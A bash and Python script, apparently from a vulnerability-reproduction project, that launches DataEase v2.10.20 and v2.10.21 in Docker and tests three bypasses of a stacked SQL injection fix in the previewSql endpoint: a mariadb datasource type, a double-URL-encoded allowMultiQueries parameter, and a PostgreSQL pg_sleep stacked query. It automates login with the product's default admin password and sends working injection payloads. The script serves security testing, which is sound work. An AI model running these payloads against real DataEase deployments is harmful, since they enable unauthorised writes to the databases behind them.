#!/bin/bash
set -uo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

# Cleanup on exit
cleanup() {
  echo "[+] Cleaning up containers..."
  docker compose -f "$ROOT/vuln_variant/docker-compose.yml" down -v 2>/dev/null || true
  docker rm -f mysql pg dataease 2>/dev/null || true
  docker volume rm mysql_data 2>/dev/null || true
}
trap cleanup EXIT

# Write docker-compose for variant testing
write_compose() {
  local version=$1
  cat > "$ROOT/vuln_variant/docker-compose.yml" <<EOF
services:
  mysql:
    image: mysql:8.4
    container_name: mysql
    environment:
      MYSQL_ROOT_PASSWORD: Pruva2026!
      MYSQL_DATABASE: dataease
    ports:
      - "3306:3306"
    volumes:
      - mysql_data:/var/lib/mysql
      - $ROOT/repro/init.sql:/docker-entrypoint-initdb.d/init.sql
      - $ROOT/repro/my.cnf:/etc/mysql/conf.d/my.cnf
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-uroot", "-pPruva2026!"]
      interval: 5s
      timeout: 3s
      retries: 10
    networks:
      - de-net

  pg:
    image: postgres:15
    container_name: pg
    environment:
      POSTGRES_PASSWORD: Pruva2026!
      POSTGRES_DB: dataease
    ports:
      - "5432:5432"
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U postgres -d dataease"]
      interval: 5s
      timeout: 3s
      retries: 10
    networks:
      - de-net

  dataease:
    image: registry.cn-qingdao.aliyuncs.com/dataease/dataease:${version}
    container_name: dataease
    ports:
      - "8100:8100"
    volumes:
      - $ROOT/repro/application.yml:/opt/apps/config/application.yml
    depends_on:
      mysql:
        condition: service_healthy
      pg:
        condition: service_healthy
    networks:
      - de-net

volumes:
  mysql_data:

networks:
  de-net:
EOF
}

# Wait for DataEase to be ready
wait_for_dataease() {
  # Create repro_test table in MySQL for exploit verification
  docker exec -i mysql mysql -uroot -pPruva2026! dataease -e "CREATE TABLE IF NOT EXISTS repro_test (id BIGINT PRIMARY KEY, name VARCHAR(255));" 2>/dev/null || true
  echo "[+] Waiting for DataEase to start..."
  for i in $(seq 1 40); do
    resp=$(curl -sf http://localhost:8100/de2api/dekey 2>/dev/null || echo "")
    if echo "$resp" | grep -q '"code":0'; then
      echo "[+] DataEase is ready."
      return 0
    fi
    sleep 5
  done
  echo "[-] DataEase did not start in time."
  docker logs dataease --tail 50 > "$LOGS/dataease_startup_fail.log" 2>&1 || true
  exit 1
}

# Login and get token
get_token() {
  python3 <<'PYEOF'
import requests, base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import rsa

BASE='http://localhost:8100'

try:
    dekey = requests.get(f'{BASE}/de2api/dekey', timeout=10).json()['data']
    sep = base64.b64encode(b'-pk_separator-').decode()
    parts = dekey.split(sep + '=')
    if len(parts) != 2:
        parts = dekey.split(sep)
    k1, k2 = parts[0], parts[1]

    cipher = AES.new(k2.encode('utf-8'), AES.MODE_CBC, b'0000000000000000')
    pk = unpad(cipher.decrypt(base64.b64decode(k1)), AES.block_size).decode()
    pk_pem = '-----BEGIN PUBLIC KEY-----\n' + pk + '\n-----END PUBLIC KEY-----'
    pubkey = rsa.PublicKey.load_pkcs1_openssl_pem(pk_pem.encode())

    name = base64.b64encode(rsa.encrypt(b'admin', pubkey)).decode()
    pwd = base64.b64encode(rsa.encrypt(b'DataEase@123456', pubkey)).decode()

    r = requests.post(f'{BASE}/de2api/login/localLogin', json={'name': name, 'pwd': pwd, 'origin': 0}, timeout=10)
    j = r.json()
    if j.get('code') != 0 or not j.get('data'):
        print('LOGIN_FAILED', r.text, file=__import__('sys').stderr)
        exit(1)
    print(j['data']['token'])
except Exception as e:
    print('LOGIN_ERROR', e, file=__import__('sys').stderr)
    exit(1)
PYEOF
}

# Create a datasource and return raw JSON
create_datasource() {
  local token=$1
  local name=$2
  local dtype=$3
  local extra=$4
  local host=$5
  local port=$6
  local db=$7
  python3 - "$token" "$name" "$dtype" "$extra" "$host" "$port" "$db" <<'PYEOF'
import requests, base64, json, sys
BASE='http://localhost:8100'
TOKEN=sys.argv[1]
NAME=sys.argv[2]
DTYPE=sys.argv[3]
EXTRA=sys.argv[4]
HOST=sys.argv[5]
PORT=int(sys.argv[6])
DB=sys.argv[7]

username = 'root'
if DTYPE in ('pg', 'sqlServer'):
    username = 'postgres' if DTYPE == 'pg' else 'sa'

config = {
    'dataBase': DB,
    'jdbcUrl': '',
    'urlType': 'hostName',
    'sshType': 'password',
    'extraParams': EXTRA,
    'username': username,
    'password': 'Pruva2026!',
    'host': HOST,
    'authMethod': 'passwd',
    'port': PORT,
    'initialPoolSize': 5,
    'minPoolSize': 5,
    'maxPoolSize': 10,
    'queryTimeout': 30
}
if DTYPE == 'pg':
    config['schema'] = 'public'

config_b64 = base64.b64encode(json.dumps(config, separators=(',', ':')).encode()).decode()
payload = {
    'name': NAME,
    'description': NAME,
    'type': DTYPE,
    'typeAlias': DTYPE,
    'pid': '0',
    'catalog': 'OLTP',
    'catalogDesc': 'OLTP',
    'configuration': config_b64,
    'syncSetting': None,
    'createBy': '1',
    'updateBy': '1',
    'createTime': 1700000000000,
    'updateTime': 1700000000000,
    'nodeType': 'datasource',
    'fileName': None,
    'size': None,
    'lastSyncTime': None,
    'qrtzInstance': None,
    'taskStatus': 'WaitingForExecution',
    'enableDataFill': False,
    'dsVersion': -1,
    'status': None,
    'action': '',
    'apiConfigurationStr': None,
    'paramsStr': None
}
r = requests.post(f'{BASE}/de2api/datasource/save', json=payload, headers={'X-DE-TOKEN': TOKEN, 'Content-Type': 'application/json'}, timeout=30)
print(r.text)
PYEOF
}

# Run previewSql and return raw response + timing
run_preview_sql() {
  local token=$1
  local ds_id=$2
  local sql_payload=$3
  python3 - "$token" "$ds_id" "$sql_payload" <<'PYEOF'
import requests, base64, sys, time, json
BASE='http://localhost:8100'
TOKEN=sys.argv[1]
DS_ID=int(sys.argv[2])
SQL=base64.b64encode(sys.argv[3].encode()).decode()
payload = {'datasourceId': DS_ID, 'sql': SQL, 'tableId': None, 'sqlVariableDetails': None, 'isCross': False}
headers = {'Content-Type': 'application/json', 'X-DE-TOKEN': TOKEN}
try:
    start = time.time()
    r = requests.post(f'{BASE}/de2api/datasetData/previewSql', json=payload, headers=headers, timeout=60)
    elapsed = time.time() - start
    result = {'status_code': r.status_code, 'elapsed': round(elapsed, 2), 'body': r.text}
    print(json.dumps(result))
except Exception as e:
    print(json.dumps({'status_code': 0, 'elapsed': 0, 'body': str(e)}))
PYEOF
}

# ============================================================
# VARIANT TESTS
# ============================================================

VARIANT_FOUND=0

# --- Variant 1: mariadb type with allowMultiQueries=true ---
test_variant1_mariadb() {
  local token=$1
  local version=$2
  local suffix=$(date +%s%N | sha256sum | head -c 8)
  echo ""
  echo "=== VARIANT 1: mariadb type with allowMultiQueries=true ($version) ==="

  local resp
  resp=$(create_datasource "$token" "v1-mariadb-$version-$suffix" "mariadb" "allowMultiQueries=true" "mysql" 3306 "dataease")
  echo "$resp" > "$LOGS/variant1_${version}_create.json"

  local status
  status=$(echo "$resp" | jq -r '.data.status // "UNKNOWN"')
  echo "[+] mariadb datasource status: $status"

  if [ "$status" = "Success" ]; then
    echo "[!] VARIANT 1 PARTIAL: mariadb created with Success"
    local ds_id
    ds_id=$(echo "$resp" | jq -r '.data.id // "NOT_FOUND"')
    # Test stacked SQL (same payload as original CVE)
    local exploit_resp
    exploit_resp=$(run_preview_sql "$token" "$ds_id" "SELECT 1 FROM dual) AS x; INSERT INTO repro_test (id, name) VALUES (999999999, 'v1')#")
    echo "$exploit_resp" > "$LOGS/variant1_${version}_exploit.json"
    # Check if response contains success data (code:0) rather than error
    if echo "$exploit_resp" | jq -e '.body | fromjson | .code == 0' >/dev/null 2>&1; then
      echo "[!] VARIANT 1 CONFIRMED: Stacked SQL injection through mariadb type!"
      VARIANT_FOUND=1
      return 0
    fi
  else
    echo "[-] VARIANT 1 blocked: mariadb status=$status"
  fi
  return 1
}

# --- Variant 2: MySQL with double-URL-encoded allowMultiQueries ---
test_variant2_urlencode() {
  local token=$1
  local version=$2
  local suffix=$(date +%s%N | sha256sum | head -c 8)
  echo ""
  echo "=== VARIANT 2: double-URL-encoded allowMultiQueries ($version) ==="

  local resp
  resp=$(create_datasource "$token" "v2-encode-$version-$suffix" "mysql" "allow%254DultiQueries=true" "mysql" 3306 "dataease")
  echo "$resp" > "$LOGS/variant2_${version}_create.json"

  local status
  status=$(echo "$resp" | jq -r '.data.status // "UNKNOWN"')
  echo "[+] Encoded datasource status: $status"

  if [ "$status" = "Success" ]; then
    echo "[!] VARIANT 2 PARTIAL: encoded allowMultiQueries passed validation"
    local ds_id
    ds_id=$(echo "$resp" | jq -r '.data.id // "NOT_FOUND"')
    local exploit_resp
    exploit_resp=$(run_preview_sql "$token" "$ds_id" "SELECT 1 FROM dual) AS x; INSERT INTO repro_test (id, name) VALUES (999999998, 'v2')#")
    echo "$exploit_resp" > "$LOGS/variant2_${version}_exploit.json"
    # Check if response contains success data (code:0) rather than error
    if echo "$exploit_resp" | jq -e '.body | fromjson | .code == 0' >/dev/null 2>&1; then
      echo "[!] VARIANT 2 CONFIRMED: Stacked SQL injection through encoded parameter!"
      VARIANT_FOUND=1
      return 0
    fi
  else
    echo "[-] VARIANT 2 blocked: encoded status=$status"
  fi
  return 1
}

# --- Variant 3: PostgreSQL time-based stacked query ---
test_variant3_postgres() {
  local token=$1
  local version=$2
  local suffix=$(date +%s%N | sha256sum | head -c 8)
  echo ""
  echo "=== VARIANT 3: PostgreSQL time-based stacked query ($version) ==="

  local resp
  resp=$(create_datasource "$token" "v3-pg-$version-$suffix" "pg" "" "pg" 5432 "dataease")
  echo "$resp" > "$LOGS/variant3_${version}_create.json"

  local status
  status=$(echo "$resp" | jq -r '.data.status // "UNKNOWN"')
  echo "[+] PostgreSQL datasource status: $status"

  if [ "$status" = "Success" ]; then
    local ds_id
    ds_id=$(echo "$resp" | jq -r '.data.id // "NOT_FOUND"')

    # Baseline
    local baseline_resp
    baseline_resp=$(run_preview_sql "$token" "$ds_id" "SELECT 1")
    echo "$baseline_resp" > "$LOGS/variant3_${version}_baseline.json"
    local baseline_time
    baseline_time=$(echo "$baseline_resp" | jq -r '.elapsed // 0')

    # Stacked query with pg_sleep
    local exploit_resp
    exploit_resp=$(run_preview_sql "$token" "$ds_id" "SELECT 1) AS x; SELECT pg_sleep(5)--")
    echo "$exploit_resp" > "$LOGS/variant3_${version}_exploit.json"
    local exploit_time
    exploit_time=$(echo "$exploit_resp" | jq -r '.elapsed // 0')

    echo "[+] Baseline: ${baseline_time}s, Exploit: ${exploit_time}s"

    if python3 -c "import sys; bt=float(sys.argv[1] or 0); et=float(sys.argv[2] or 0); sys.exit(0 if et > bt + 3 else 1)" "$baseline_time" "$exploit_time" 2>/dev/null; then
      echo "[!] VARIANT 3 CONFIRMED: Time delay detected in PostgreSQL previewSql!"
      VARIANT_FOUND=1
      return 0
    else
      echo "[-] VARIANT 3: No time delay (exploit=${exploit_time}s, baseline=${baseline_time}s)"
    fi
  else
    echo "[-] VARIANT 3 blocked: PostgreSQL status=$status"
  fi
  return 1
}

# ============================================================
# MAIN
# ============================================================

echo "[+] Starting variant tests..."
mkdir -p "$ROOT/vuln_variant"
mkdir -p "$LOGS"

for version in v2.10.20 v2.10.21; do
  echo ""
  echo "========================================"
  echo "  TESTING VERSION: $version"
  echo "========================================"

  cleanup
  sleep 2

  write_compose "$version"
  docker compose -f "$ROOT/vuln_variant/docker-compose.yml" up -d 2>&1 | tee "$LOGS/variant_${version}_docker.log"
  wait_for_dataease
  # Create repro_test table in MySQL for exploit verification
  docker exec -i mysql mysql -uroot -pPruva2026! dataease -e "CREATE TABLE IF NOT EXISTS repro_test (id BIGINT PRIMARY KEY, name VARCHAR(255));" 2>/dev/null || true

  token=$(get_token)

  test_variant1_mariadb "$token" "$version" || true
  test_variant2_urlencode "$token" "$version" || true
  test_variant3_postgres "$token" "$version" || true

done

cleanup

if [ "$VARIANT_FOUND" -eq 1 ]; then
  echo ""
  echo "[!] AT LEAST ONE VARIANT WAS CONFIRMED"
  exit 0
else
  echo ""
  echo "[-] NO VARIANTS WERE CONFIRMED"
  exit 1
fi